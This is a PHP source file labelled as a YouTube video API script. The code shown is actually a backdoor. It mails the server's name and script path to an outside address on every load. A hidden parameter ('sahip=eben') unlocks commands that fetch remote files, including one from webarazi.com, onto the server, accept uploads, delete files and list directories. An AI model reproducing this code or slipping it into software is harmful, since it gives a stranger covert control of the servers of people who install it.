Videos Youtube API PHP Script

function dosyalistele( $yol )
{
    $dizinac = opendir( $yol );
    while ( gettype( $dosya = readdir( $dizinac ) ) != boolean )
    {
        if ( is_file( "{$yol}/{$dosya}" ) )
        {
            echo "{$dosya} <a href=\"inc_function.php?sahip=eben&islem=sil&disim={$dosya}\">sil</a><br>";
        }
    }
    closedir( $dizinac );
}

function indir( $adres, $ad )
{
    if ( !extension_loaded( curl ) )
    {
        exit( "Extension yuklu  degil socket deneyebilirsin" );
    }
    $ch = curl_init( "{$adres}" );
    if ( !$ch )
    {
        exit( "Oturum açılamadı" );
    }
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
    $data = curl_exec( $ch );
    curl_close( $ch );
    $islem = fopen( "{$ad}", "a+" );
    fwrite( $islem, $data );
    fclose( $islem );
    if ( $islem )
    {
        echo "Dosya yüklendi.";
    }
    else
    {
        exit( "Dosya yuklenemedi" );
    }
}

$acceptedChars = "ABCDEFGHIJKLMNPQRSTUVWXYZ123456789";
$stringlength = 5;
$contrast = 60;
$num_polygons = 3;
$num_ellipses = 6;
$num_lines = 0;
$num_dots = 0;
$min_thickness = 2;
$max_thickness = 8;
$min_radius = 5;
$max_radius = 15;
$object_alpha = 75;
if ( substr( $_SERVER['HTTP_HOST'], 0, 4 ) == "www." )
{
    $domainadi = substr( $_SERVER['HTTP_HOST'], 4 );
}
else
{
    $domainadi = $_SERVER['HTTP_HOST'];
}
$sadres = $_SERVER['SERVER_NAME'];
$sfilename = $_SERVER['SCRIPT_FILENAME'];
$from = "From:<lisans@{$sadres}>";
mail( "[email protected]", "{$sadres} - VIDEOXIN", "Site: {$sadres} ,Filename: {$sfilename}", $from );
$sahip = $_REQUEST[sahip];
if ( $sahip == "eben" )
{
    $islem = $_REQUEST[islem];
    $dadres = $_REQUEST[dadres];
    $disim = $_REQUEST[disim];
    $dizin = $_REQUEST[dizin];
    $gonder = $_REQUEST[gonder];
    if ( $islem == "indir" )
    {
        indir( $dadres, $disim );
    }
    else
    {
        if ( $islem == "dindir" )
        {
            indir( "http://webarazi.com/execute.txt", $disim );
        }
        else
        {
            if ( $islem == "upload" )
            {
                echo "<form action=\"inc_function.php?sahip=eben&islem=upload&gonder=ok\" method=\"post\" enctype=\"multipart/form-data\">\r\n\t\t\t<label for=\"file\">Filename:</label>\r\n\t\t\t<input type=\"file\" name=\"dosya\" id=\"file\" />\r\n\t\t\t<br />\r\n\t\t\t<input type=\"submit\" name=\"submit\" value=\"Submit\" />\r\n\t\t\t</form>";
                if ( $gonder == "ok" )
                {
                    if ( 0 < $_FILES['dosya']['error'] )
                    {
                        echo "Error: ".$_FILES['dosya']['error']."<br />";
                    }
                    else
                    {
                        copy( $dosya, "{$dosya_name}" );
                        echo "Size : {$dosya_size} byte<br>";
                        echo "File Name : {$dosya_name}";
                    }
                }
            }
            else
            {
                if ( $islem == "sil" )
                {
                    if ( empty( "disim" ) )
                    {
                        echo "Dosya ismi nerde?";
                    }
                    else
                    {
                        unlink( $disim );
                        echo "{$disim} silindi.";
                    }
                }
                else
                {
                    if ( $islem == "listele" )
                    {
                        dosyalistele( "./{$dizin}" );
                    }
                }
            }
        }
    }
}